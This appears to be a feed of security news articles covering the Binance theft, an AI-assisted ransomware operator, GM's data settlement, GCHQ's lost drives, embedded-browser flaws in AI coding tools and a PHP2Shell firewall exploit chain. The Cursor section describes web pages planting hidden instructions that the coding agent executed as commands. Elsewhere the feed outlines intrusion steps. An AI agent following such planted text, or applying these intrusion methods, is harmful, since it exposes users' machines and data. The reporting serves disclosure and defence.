The FBI has blamed North Korean hackers for the record-breaking $6.3 billion theft from cryptocurrency exchange Binance, pointing the finger at the notorious Lazarus Group as the exchange scrambles to replace stolen funds and reassure customers. In an alert published Saturday, the agency attributed the October 29 attack to TraderTraitor, a North Korean hacking operation linked to Lazarus, which has made a lucrative career out of relieving crypto exchanges of their digital assets. Pyongyang was already in the frame before the FBI weighed in. Blockchain intelligence firms TRM Labs and Elliptic had linked the theft to North Korea, with TRM reporting that most of the $6.36 billion haul disappeared in about 20 minutes. Elliptic, which puts the total closer to $6.43 billion, says it has verified that $2.85 billion of the stolen assets have been frozen or seized. According to the FBI, the hackers have started swapping their loot for Ethereum, with investigators expecting them to move the funds through decentralized finance (DeFi) platforms and instant swap services to make the money harder to trace. The agency has published a list of cryptocurrency wallet addresses linked to the theft and is urging exchanges, blockchain analytics firms, and other virtual asset providers to block transactions involving the stolen funds. The FBI's attribution comes days after Binance admitted that hackers had made off with roughly $6.3 billion in cryptocurrency. According to the exchange, the trouble started with a compromised DevOps engineer's laptop, which gave the intruders access to a service container and allowed them to authorize withdrawals they had no business making. Binance has since resumed customer withdrawals, which it suspended after the attack, and says it has now replenished about 95 percent of the stolen assets. The remaining tokens are proving harder to replace because of their limited liquidity. The exchange has committed billions of dollars from its own reserves and emergency funds to cover the losses, with co-CEO Richard Teng promising that customers won't be left footing the bill. That hasn't stopped users from heading for the exits. Binance recorded approximately $3.64 billion in net outflows after withdrawals resumed, although the company said this represented only around 2.1 percent of its reported assets. Replacing the stolen cryptocurrency is one thing. Getting it back from North Korea is another, and investigators face the considerable task of tracking billions of dollars as the hackers attempt to move it beyond their reach. TraderTraitor has form when it comes to raiding crypto exchanges. The North Korean crew has previously been linked to a string of cryptocurrency thefts, including the $308 million attack on Japan's DMM Bitcoin exchange in 2024. The group has previously used fake job offers and recruitment exercises to trick employees into handing over access to their employers' systems. As we reported here on Friday, crypto exchange Bitget has now confirmed that the cyberattack where hackers drained $387.5 million worth of digital assets from the exchange’s wallets also has all the hallmarks of a North Korean operation. Its CEO did not go into too much detail, but did say that “IP behavioral patterns and on-chain signatures” suggest it was Kim’s cronies at work. This isn’t Binance's first expensive encounter with hackers, either. Back in 2022, attackers exploited its BNB blockchain bridge and made off with roughly $566 million in tokens. Four years later, the sums have grown considerably. Binance may have the reserves to make its customers whole, but the attackers responsible for the latest raid still have billions of dollars to launder. ®

If you operate a website, you’re already aware that a single unpatched vulnerability can render your site inaccessible, compromise your reputation, or necessitate extensive remediation following an attack. Most security breaches we observe originate from automated attacks that exploit known software vulnerabilities, often the same ones that have been previously reported and disclosed.

To assist in maintaining your security posture, we have compiled this month’s summary of essential security updates and vulnerability patches pertinent to the WordPress ecosystem.

Continue reading Vulnerability & Patch Roundup — October 2026 at Sucuri Blog.

A n0n ransomware operator tried to break into 23 organizations across 14 countries, but couldn't secure its own front door, leaving its server exposed with all of its methods on view. The criminals used a mix of new (AI) and old (stolen credentials) tooling during their data-theft spree, and in some cases not only stole and encrypted files, but also deleted data and backups, eliminating victims’ ability to recover their information. And despite the fear and hype around the breachpocalypse, with AI finding and developing exploits for critical vulnerabilities affecting most organizations across the globe, these crooks did not exploit a single bug to gain entry into any of their victims’ IT environments. “In every documented compromise in this investigation, access relied on weak or stolen credentials,” said Ensar Seker, chief information security officer of threat intelligence firm SOCRadar. “What stands out is the combination of AI-assisted development and very conventional entry points,” Seker told The Register. “We found no evidence of vulnerability exploitation in the cases examined.” The gang breaks into organizations at scale using widespread Remote Desktop Protocol (RDP) scanning and automated FortiGate SSL-VPN credential stuffing. To access US-based IT managed services provider ChiBiTek, the crew used a 15-thread residential SOCKS5 proxy pool to test credentials (ip:port:user:password) against FortiGate portals (GET /remote/login). The operators also gained entry using exposed cloud credentials and reused hosting portal sessions. In one case linked to e-commerce site Fanatics, SOCRadar found that n0n used an exposed AWS access key with permissions to list, read, and delete objects in S3 buckets. The criminals then used this key to pull data from 40 S3 buckets, with up to 110 GB per bucket, and ultimately deleted data, including bank-transaction archives, and purged keys across 12 sensitive buckets. AI-assisted extortion While the threat hunters didn’t find any evidence of a fully autonomous attack system, the ransomware operator did use AI to assist with these intrusions, incurring more than $7,216 in AI usage costs by October 22. Specifically: the criminal or criminals used OpenCode, an open-source AI coding agent, configured with 154 model entries across seven providers. Models included Gemini, Mistral, Nemotron, Llama, Claude, GPT-5.x, Grok, Kimi, GLM, DeepSeek, MiniMax, Qwen, and many, many others, some with safety training removed and others marketed as “uncensored” models. “The operator used AI to write and debug hundreds of scripts. That shows how AI can help an attacker turn basic access into a broader, tailored operation,” Seker said. “The destructive behavior is equally significant,” he added. “The operator did more than steal and encrypt files: in some cases, it deleted data and backups, and in one case changed firewall policies to block traffic. That creates a recovery problem that a decryption key alone cannot solve.” SOCRadar’s threat hunters found the operator’s workspace - a publicly accessible Python HTTP file server hosted in Sweden at 185.157.161[.]148 on port 8877 - last month, and documented the exposed directory in snapshots on September 25 and 26. “Across those snapshots, we identified 1,719 files, including attack scripts, ransomware source code, extortion infrastructure, and an AI coding agent environment,” Seker said. “This gave us visibility into the operation behind the victim listings, including how the operator prepared attacks and handled stolen data.” Meet n0n It also provided a close look at n0n, a newcomer to the data-theft and extortion game that has claimed 108 victims since it emerged last month. On October 12, the group added 38 maritime, port and logistics organizations across 18 countries to its leak site in a single batch. Researchers have linked at least 21 of them to customers of South Korean maritime software provider CyberLogitec, although the software provider has not confirmed an intrusion. The crooks set an October 19 deadline for the maritime firms, with ransom demands ranging from $400,000 to $28 million, payable in Bitcoin. After the deadline, however, none of the 38 listings were marked “settled” and none of their payment addresses showed any transaction. All affected organizations’ stolen data was published. While a handful of the gang’s claimed victims have been marked “honored - data destroyed” on n0n’s leak site, indicating the victim orgs paid the ransom demand, SOCRadar hasn’t validated any transactions on-chain. In its profile details, the security shop rates the gang a 10 out of 10 for "aggressiveness" and a zero out of 10 for “lethality.” The group is believed to be based in Russia, although the server uncovered by SOCRadar, which it attributed to a single operator or small team, didn’t provide any definitive geographic or national attribution. Every case that the exposed server documented followed the same lifecycle, moving from initial access to establishing persistence and credential collection via hidden admin accounts disguised as services, covert proxies, credential and session-token theft, mailboxes and emailed multi-factor authentication codes. The crooks then collected sensitive data and sent everything to the operator’s central storage with the attack impact shifting between data-theft, encryption, destruction, and network disruption, depending on the targeted organization. After breaking into Transcom, a Netherlands-based financial services provider, the crims sent a secondary ransom alert directly to PayPal's security team, even though the compromised data was only on Transcom's network. Stupid mistakes and n0n security basics Finally, the crims send ransom notes, post a countdown clock on the leak site, establish negotiation rooms and emails for victims - and then leak the stolen files or destroy backups when the organizations don’t pay up. In some cases, and to apply increased pressure on victimized companies, n0n also broadcasts automated countdown warnings to businesses’ service providers, clients, and media outlets. Despite its aggressive tactics, the operator in this case - as with other stupid criminals The Register has gleefully documented in earlier stories - still struggles with basic security hygiene. “There is a striking gap between operational ambition and security discipline,” Seker said. “The operator invested thousands of dollars in AI services while leaving its own workspace exposed. The locker also contained hardcoded encryption keys, with evidence suggesting reuse across victims. An operation can have serious destructive capability while still making fundamental mistakes.”®

General Motors is taking what looks like a light slap on the wrist from a coalition of 35 states and the District of Columbia after agreeing to settle allegations that it collected drivers' data without proper consent and sold it to data brokers that supplied insurance companies. The Washington state AG's office said on Thursday that GM had reached a $220 million settlement with 36 attorneys general over the automaker's collection and sharing of driving data, including precise location information, speed, seatbelt use, and other metrics. According to investigators, GM sold that data to brokers, which in turn supplied it to insurance companies that could use it to set customers' premiums, without drivers' informed consent. For reference, the $220 million settlement, which will be distributed among the participating jurisdictions, equates to less than 7 percent of GM's $3.3 billion in net income attributable to stockholders for its third quarter, which ended on September 30, 2026. Don't spend it all in one place, y'all. The settlement comes more than two years after a 2024 New York Times investigation found that GM had been selling the data collected from vehicle owners through its Smart Driver program. That program, part of GM subsidiary OnStar’s offering, collected the aforementioned data and handed it back to vehicle owners in reports designed to inform better driving habits. Unbeknownst to Smart Driver subscribers, their data was also being forked over to data brokers despite GM telling customers it wouldn't share that information with insurers without their express consent. The insurers ultimately obtained the data by purchasing it from brokers with which GM had struck deals. To make matters worse, the Washington AG's office said GM incentivized dealerships to enroll customers in Smart Driver, with employees in some cases accepting terms and conditions on customers' behalf without their knowledge or consent. GM also failed to notify many drivers that their information was being collected and shared. Its OnStar app incorrectly told more than 370,000 drivers they were not enrolled in Smart Driver, even as GM continued collecting and selling their data, according to investigators. “The data GM sold was personal, identifiable, and specific,” the AG’s office said. GM canned the Smart Driver program in April 2024, just over a month after the New York Times exposed its data-sharing practices, citing customer feedback. In addition to the monetary pittance it’s handing over to the states, GM also agreed with the 36 AGs to limit the driving data it collects, better protect customer PII, and establish a "comprehensive data privacy program.” The Washington AG’s office described its settlement as “significantly stronger than any other resolution reached with GM for this conduct.” Speaking of those other terms, GM finalized its settlement of the same allegations with the Federal Trade Commission in January 2026. The FTC order required GM to obtain drivers' express consent before collecting, using, or sharing covered driving data, subject to certain exceptions. It also required the company to offer a simple way for drivers to request a copy of their data, request its deletion, and disable precise geolocation data collection where their vehicles support it. The state of California separately reached a $12.75 million settlement with GM in the matter in May; a separate case in Texas is ongoing. “This agreement … reinforces steps we’ve taken to strengthen our privacy practices,” a GM spokesperson told The Register, though the company noted that it still stands by driver data collection as a best practice. “Safer, more helpful and personalized experiences are enabled by connected vehicle data, and GM is committed to being clear about what information is used, how it’s protected, and the choices customers have about what they share,” the spokesperson added. ®

Thousands of GCHQ storage drives containing sensitive data have been lost for years, and the British signals intelligence agency still cannot explain where they are. According to the Investigatory Powers Commissioner’s Office’s (IPCO) annual report, the missing storage drives have been known to officials for years, and may contain data related to the Investigatory Powers Act (IPA). "I remain concerned that GCHQ has not yet established a sufficiently clear understanding of the scale, location, and recoverability of lost removable media that may contain IPA-related data, notwithstanding that the underlying issues were first drawn to my attention several years ago," wrote investigatory powers commissioner Lord Brian Leveson. "While I recognize the technical and practical challenges involved, the passage of time without a comprehensive account heightens the importance of sustained senior focus and assured remediation. Given the potential sensitivity of the material involved, I will continue to monitor progress closely.” Described as "a very significant number," the report notes that GCHQ has scoped the maximum number of potentially lost drives, but is unaware of the exact scale of the issue. The agency has embarked on "a program of further work" to locate as many of the lost devices as possible, which includes implementing an automated asset-tracking system by the end of the year. After this is up and running, it said it will be able to provide a more precise number of lost drives. A GCHQ spokesperson told The Register: "As IPCO have reported, our management system for removable media was previously not sufficiently robust to effectively track the items that were registered for use. IPCO are right to note the flaws in the data the system produced, and we have taken action against all their recommendations. "We recognize the importance of security of removable media in our systems, and have a range of measures to mitigate the risks posed by these items. The findings in the report have been addressed comprehensively, and all necessary steps to correct this issue have been taken." Peter Sommer, digital forensics expert and visiting professor at de Montfort and Birmingham City universities, told us: "Bearing in mind the sort of highly sensitive data collected and processed by GCHQ IPCO is right to be very concerned, the more so as the issue is already several years old. Vast quantities of data can be stored on the cheapest lowest cost hard disks and cards. At a much more modest level as an expert witness I know how important it is to keep careful track of the data entrusted to me." Losing important devices is not an achievement that's exclusive to GCHQ. Myriad stories like this have emerged from all corners of the public sector over the years, such as the British Minidstry of Defence misplacing USB drives containing secret information in the mid-noughties, civil servants routinely losing their BlackBerry handsets, and UK police losing thousands of devices, too. The missing storage drives comprise just one of the agency's various transgressions highlighted by IPCO in its report. There are also "significant concerns" over the lax safeguards used to restrict the UK's overseas partners when accessing bulk-intercepted data collected by GCHQ. IPCO was satisfied at how GCHQ ensured its own analysts remained compliant with safeguards around accessing confidential material related to journalism, journalistic sources, and privileged legal information. However, there were concerns around how these same safeguards were applied to its international partners, which have access to its so-called bulk data interception "product." The report notes that most partners were properly restricted from accessing such material, although an internal probe found that there were inadequate arrangements in respect to one partner and their access to journalistic material. Both GCHQ and the overseas agency committed to rectifying the situation. GCHQ was also questioned after a software bug in a web app "used by a relatively small section of the public" misidentified individuals thought to be participating in terrorist activities. The agency identified and reported the flaw in the software, which it used for "target discovery work," and although it only affected a small number of individuals, the errors led to five port stops made under the Terrorism Act and caused "serious prejudice" to the victims. A port stop, for the uninitiated, involves law enforcement detaining a suspect at a UK port, airport, train station, or within one mile of the Northern Ireland border, and can be carried out without suspicion. Once detained, individuals have a legal responsibility to provide passwords to their electronic devices, which can be seized for up to seven days, and in some cases have their biometric markers taken. Failure to comply can lead to a three-month prison term. IPCO ruled, however, that there was ultimately no error made as defined by the IPA. “This is because the activity was lawfully authorised under an interception warrant and the adoption of an unintentionally and unforeseeably imperfect target discovery methodology did not constitute such an error,” the report stated. Despite the agency’s vast technical expertise, IPCO said that the issue affecting the software was not foreseeable. GCHQ was not the only offender among the UK intelligence community (UKIC), with MI5's mishandling of the infamous Agent X case taking center stage in the report. Agent X was an anonymous MI5 informant whose real identity has never been publicly released. A secret inquiry by IPCO as well as the report revealed that MI5 managed Agent X despite knowing he was a violent misogynist obsessed with extreme violence. Lord Leveson said "the case of Agent X is as serious as anything I have dealt with as Commissioner," after MI5 gave false evidence to the High Court and Investigatory Powers Tribunal to protect a foreign neo-Nazi informant who was under police investigation for abusing his partner, referred to publicly as "Beth." ®

Crypto exchange Binance has paused trading after discovering unknown parties cracked one of its workers’ laptops and used it to make massive trades. Late on Thursday, US time, the company used its social media feeds to report “Our teams are aware of reports of a potential security issue and are actively investigating.” The exchange insisted “User funds are completely safe” and warned its customers “should remain cautious of scams and should not trust unofficial links, messages, or requests for account information.” The company soon froze $2.5 billion worth of assets and warned that the figure could go higher “as our teams work closely with law enforcement, issuers, blockchain intelligence firms and industry partners to trace and freeze additional assets.” To prevent the matter worsening, Binance halted all trading, deposits, and withdrawals. It also promised to cover any losses. About an hour ago at the time of writing, Binance posted an update on the incident that explains what it thinks went wrong. “Binance's initial investigation suggests that the security incident may involve a compromised DevOps engineer’s laptop, which allowed an attacker to gain access to a service container and submit unauthorized withdrawal transactions,” the post states. The company also hiked the amount it thinks is at risk to $6.3 billion and repeated its promise to cover any customer losses. The update also says Binance found no evidence of any wallet private key leak, suggesting that customers’ holdings remain secure. When they can use them again, as Binance is yet to resume trading. Binance hasn’t explained how attackers gained access to the engineer’s laptop. The scant details provided make it hard to rule out a successful phishing attack, or perhaps a supply chain attack on a package the developer used. Binance says it will spill once it knows exactly what happened. Cryptocurrency outfits have a long and inglorious history of falling victim to cyberattacks, perhaps starting with the 2011 raid on Mt Gox, to incidents allegedly perpetrated by nation-states, and, just last week, another situation possibly involving an AI-powered attacker. ®

Multiple vulnerabilities in five popular AI developer tools could allow attackers to execute code on a host machine, read and steal files, or spoof browser address bars. Researchers say flaws in OpenAI's Codex and Microsoft's VS Code remain unpatched, potentially putting developers who use affected configurations at risk. AI security startup Forever Security discovered vulnerabilities in Cursor, GitHub Copilot, Anthropic's Claude Desktop, VS Code, and Codex, and disclosed four of the flaws to the affected vendors. GitHub independently fixed the Copilot vulnerability without receiving a report from Forever Security. All five share a common security weakness: embedded browsers granted capabilities beyond those available to conventional browsers. Each tool “enriched its embedded browser beyond what a normal browser allows, and those enrichments undermined the traditional threat model - as agent input, as the authority on a tab’s own address, or as reach onto the host,” Forever researcher Gal Weizman wrote in a Thursday report. Forever dubbed this class of vulnerability “Embrace,” short for EMbedded BRowser, and said the flaws led to code execution in Cursor, data theft in Claude Desktop, Codex, and VS Code, and address bar spoofing in GitHub Copilot. Here’s what each of these looks like, starting with Cursor. Cursor: arbitrary code execution Typical web pages can’t run commands on the host computer because a web page’s JavaScript cannot talk to local apps. Cursor’s integrated browser, however, allows a page to call the agent’s composer. The agent reads this as instructions and follows them, but the instructions remain hidden from human users. This opens the coding agent up to prompt injection attacks that could allow an attacker to execute commands on the host machine. The researchers disclosed the vulnerability to Cursor on September 10, and the vendor silently patched the flaw on October 1. According to Forever, Cursor did not publish a security advisory about the issue or respond to the researchers' disclosure. Cursor also did not reply to The Register’s request for comment. GitHub Copilot: address bar spoofing Under normal browser operations, a webpage cannot change the content of the address bar. “Copilot’s browser preview works differently,” Weizman wrote. “Some pages change their address without loading a new page, and the app cannot always see that. So Copilot let the page tell the app its own address.” The app checked only whether the text looked like a web address, starting with http, https or file, but it didn’t check where the tab really pointed to. This can be abused to trick the embedded browser into displaying a spoofed URL - such as github.com/login - in the address bar, while loading a fraudulent website - like a phishing page - underneath. The researchers found the address-bar spoofing flaw in GitHub Copilot 1.1.27 on September 26. GitHub independently fixed the flaw in a later Copilot build (1.1.29) on October 13 without receiving a vulnerability report from Forever. We reached out to GitHub and did not receive a response. Claude Desktop, Codex, and VS Code: arbitrary file read All three of these vendors’ coding assistants allow local HTML files opened in the built-in browser to escape its boundaries and access other files. Both Claude Desktop and VS Code allow local pages access to their respective project folders, but the researchers found that these restrictions did not apply to web workers – a browser feature that allows JavaScript to run in a background thread, separate from the page's main thread. This means a local page can start a worker, and the worker can bypass restrictions to reach any file on the machine. Codex, however, didn’t have this same restriction, meaning a local page could read any file directly without a worker. Weizman said his team disclosed the issue to Anthropic on July 23, and the AI vendor declined the Claude Desktop bug report as invalid for a “workspace trust” gated security boundary. A day later, however, Noma Security reported the same flaw, according to Weizman, and Anthropic accepted the report as valid. Anthropic did not respond to The Register’s questions about either bug report or Forever’s timeline of events. Forever disclosed the Codex bug to OpenAI on July 27 and didn’t get a response. The flaw remains unpatched, but an OpenAI spokesperson told The Register that it's aware of the issue and working to address it. On September 10, Forever disclosed the VS Code vulnerability to Microsoft and says the vendor also labeled it as an invalid workspace trust gated security boundary issue. The researchers claim it remains unpatched. Microsoft did not respond to our request for comment.®

Suspected Chinese attackers chained PHP2Shell with a Linux kernel privilege-escalation exploit to root 25 servers, including Palo Alto Networks firewalls linked to US government-affiliated organizations, according to Dream researchers. The snoops began exploiting these servers on October 23, targeting organizations across the US, Japan, Taiwan, and South Korea. The attackers also honed in on US government-affiliated firewalls. “Within hours of compromising a US government-affiliated firewall, they had tunneled into the internal network, compromised a third server using the same PHP2Shell exploit, and launched a full Active Directory attack campaign - all through a chain that started with a single unauthenticated HTTPS request to a management interface that should never have been exposed to the internet,” the Israeli AI cybersecurity startup said in a report. Plus, the attackers “likely still” have persistent, remote access to compromised organizations’ networks, Dream noted. The attackers rooted the first US government-affiliated firewall on October 23, but the device crashed shortly afterward, possibly due to around 900 MB of exploit traffic. According to Dream, it remained unresponsive despite 240 automated checks over two hours. They successfully exploited the second firewall a day later, on October 24. The compromised firewalls ran vulnerable versions of Palo Alto Networks' PAN-OS. Dream said it had been working with the vendor to investigate the compromises, and Palo Alto Networks' Unit 42 researchers independently verified the attacker's tooling and confirmed Dream's reported results. To break into the firewalls, the attackers built a custom exploit chain that includes PHP2Shell and a Fragnesia kernel flaw, and ran about 40 custom post-exploitation scripts once they were inside the targeted organizations. Total attack chain in under 15 minutes PHP2Shell, comprised of CVE-2026-109618 and CVE-2026-109619, came to light early last week, along with fears that attackers would abuse the bugs to take down most of the internet. Despite “hundreds” of PHP2Shell proof-of-concept repositories on GitHub, the first reports of successful attacks didn’t start until Saturday. Both bugs have CVSS scores of 9.2 and can be exploited without authentication to run code on vulnerable PHP servers. The PHP2Shell exploit recovered by Dream was not a copy of any known public exploit. It “appears to have been independently developed and tailored specifically for the targeted firewall platform,” the researchers wrote. The attackers combined PHP2Shell with Fragnesia (CVE-2026-46300), a high-severity local privilege-escalation vulnerability affecting the Linux kernel's XFRM ESP-in-TCP subsystem. The US Cybersecurity and Infrastructure Security Agency (CISA) added this Linux kernel bug to its catalog of Known Exploited Vulnerabilities on Wednesday. Both CISA and the FBI declined to comment. The miscreants developed a four-stage PHP2Shell exploit that allowed them to execute commands without authentication on vulnerable Palo Alto Networks firewalls. They then used Fragnesia to escalate their privileges and gain root access. The attackers targeted PAN-OS 12.1 and 12.2, which run PHP 8.0.30 with a high memory limit that enabled the exploit's memory-corruption stages. “The total chain - from unauthenticated HTTPS connection to persistent root webshell - completes in under 15 minutes,” the Dream team wrote. 4 steps to root Here’s how it works: First, they flood the servers with crafted multipart POST requests to corrupt PHP’s memory, and force a predictable memory layout. Then a second request forges the stale session ID length from the memory corruption part of the attack, forcing an out-of-bounds read and exposing the base address of libphp.so in the running process. The attackers then exhaust PHP's memory again to force mod_data=NULL, creating a stale reference they can forge in the final stage to execute commands as the nobody user. They use Fragnesia to escalate to root and plant a web shell in a publicly accessible directory on the firewall. After breaking in via the compromised firewalls, the attackers snooped around in Active Directory, stealing credentials and other sensitive information. With root access, the attackers also had the master key to decrypt the LDAP service account password, which they hardcoded into every subsequent script. They also enumerated every user and group in the domain via LDAP queries, and sprayed passwords against every user account. Attackers also tried to create backdoor AD accounts and attempted SAML signing key extraction - but Dream doesn’t know if these were successful. “The attack results - whether the password spray found valid credentials, whether the backdoor accounts were created, whether SAML keys were extracted - stayed on the management server's local filesystem and were not among the artifacts we recovered,” the researchers noted. AI tools in the attack The investigation also uncovered evidence that the attackers used AI tools, but noted that this was not a fully autonomous attack. The researchers found Anthropic's Claude Code installed, an AI-powered offensive security platform called aiscan configured with Chinese models DeepSeek and Kimi, and API keys for the FOFA reconnaissance service. FOFA is a Chinese internet asset search engine similar to Shodan. The attackers used it to identify about 19,000 internet-facing Palo Alto Networks firewalls worldwide. “The persistent tunnel into the US government organization is likely still running,” Dream warned. “And the attacker still has 19,000 fingerprinted targets they can revisit as they develop profiles for additional PAN-OS versions.”®